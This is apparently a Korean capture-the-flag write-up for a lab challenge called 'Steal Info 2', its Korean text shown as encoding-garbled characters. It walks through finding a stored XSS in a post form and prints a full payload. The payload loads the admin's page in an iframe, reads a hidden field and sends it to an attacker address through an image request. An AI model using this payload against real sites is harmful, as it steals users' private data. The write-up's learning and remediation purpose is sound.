[SegFault] (ClientScript)
Steal Info 2
admin ๊ณ์ ์ ๋ง์ดํ์ด์ง์ ์ ๋ณด๋์ flag๊ฐ ์จ๊ฒจ์ ธ์๋ค! ์ฐพ์๋ด์์ค!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ ๋๊ฐ์ ํ์ด์ง์์ ํด๋น ์ ๋ณด์ document ๊ฐ์ ํ์ธํ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ค์ ์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ ๋์ผํ ์์น์ ์๋ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์ํ๋ ์ ๋ณด๋ฅผ ์ฐพ๊ณ ํด๋น ๊ฐ์ ๊ฐ์ ธ์ค๊ธฐ ์ํ ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(ReuqestBin)๋ก ์ ๋ณด๊ฐ ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์ ์ ๋ณด๋์ flag๊ฐ ์จ๊ฒจ์ ธ์๋ค๊ณ ํ์ผ๋ฏ๋ก ์ฐ์ ๋ง์ดํ์ด์ง๋ก ์ ์ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์๋ XSS ์ทจ์ฝ์ ์ ์๋๊ฒ์ผ๋ก ํ๋จ๋์ด ์ฐ์ ์ค์์ ๋ณด๋ฅผ ํ์ธํด๋ณธ๋ค.
์ค์์ ๋ณด
๋ง์ดํ์ด์ง์ ์ ๋ณด๋์ Nothing Here... ๋ผ๊ณ ์ฐ์ฌ์ ธ ์๋ ๋ถ๋ถ์ด๋ค. ๊ด๋ฆฌ์์ Info๋ฅผ ๋ฐ์์์ผ ํ๊ธฐ ๋๋ฌธ์ ๊ด๋ฆฌ์๊ฐ ํด๋น ํ์ด์ง์ ์ ์ํ๋๋ก ์ ๋ํ์ฌ ํด๋น ๋ถ๋ถ์ ์ ํ์๋ ๊ฐ์ ๊ฐ์ ธ์์ผํ๋ค.
๊ทธ๋ฌ๋ฏ๋ก ํด๋น ๋ถ๋ถ์ HTML ๊ตฌ์กฐ๋ฅผ ํ์ธํ์ฌ document ๊ฐ์ ๋ฐ์์์ผ ํ๋ค.
์์ ๊ฐ์ด ํด๋น ๋ถ๋ถ์ ๊ตฌ์กฐ๋ info๋ผ๋ ์ด๋ฆ์ input ํ๊ทธ์ placeholder์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ์ด๋ฅผ ๋ถ๋ฌ์ค๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
XSS Point
๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ XSS ์ทจ์ฝ์ ์ด ์๋์ง ํ์ธํ๊ธฐ ์ํด ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ < ' " >๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋์ง ํ์ธํด๋ณธ๋ค.
์๋ต(Response)์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์์ ์ ๋ ฅ๊ฐ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
๋ง์ดํ์ด์ง์ ์ค์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Payload)
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin" id="targetFrame"></iframe> <script> var targetTag = document.getElementById('targetFrame'); targetTag.onload = function(){ var DOMData = targetTag.contentDocument; var secretData = DOMData.getElementsByClassName('card-text')[1].innerHTML; var i = new Image(); i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?secretData="+secretData; } </script>
iframe์ ์ด์ฉํ์ฌ ํด๋น ํ์ด์ง์ ์ ๊ทผํ๊ณ ํด๋น ํ์ด์ง์ ์ค์์ ๋ณด ๋ถ๋ถ์ document ๊ฐ์ ๊ฐ์ ธ์ค๋๋ก ํ๋ค.
์คํฌ๋ฆฝํธ ์ฝ์
XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ํด๋น ํ์ด๋ก๋๋ฅผ ๊ธ์ ๋ด์ฉ์ ์ฝ์ ํ๋ค.
ํด๋น ๊ธ์ ์ฝ๊ธฐ ์ํด ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ธ์ ์ ๊ทผํ๋ URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ๊ด๋ฆฌ์์ ์ค์ ์ ๋ณด๊ฐ ๊ณต๊ฒฉ์์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ์ค์ ์ ๋ณด ๋ถ๋ถ์ ๋ฐ์์ค๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ํ๋ flag๊ฐ์ด ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๊ฒ์๊ธ์ ๋ด์ฉ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๊ฐ๋ฅํ XSS ์ทจ์ฝ์ ์ ํ์ฉํ์๋ค.
๊ด๋ฆฌ์๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ํ์ด์ง๋ก ์ ์ํ๋๋ก ์ ๋ํ์ฌ ๊ด๋ฆฌ์๊ฐ ๋ง์ดํ์ด์ง์ ์ ์ํ์์ ๋์ Info ์ ๋ณด๋ฅผ ๋นผ์ค๋ ๊ฒ์ ๋ชฉํ๋ก ํ์๋ค.
์์ ๊ฐ์ด XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ฉด iframe์ ์ด์ฉํ์ฌ ๋ค๋ฅธ ํ์ด์ง๋ก์ ์ ์์ ์ ๋ํ ์ ์๊ธฐ ๋๋ฌธ์, HTML Entity๋ฅผ ์ด์ฉํ์ฌ ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ํน์๋ฌธ์๋ค์ ๋ณํํด์ฃผ๋๋ก ํด์ผํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์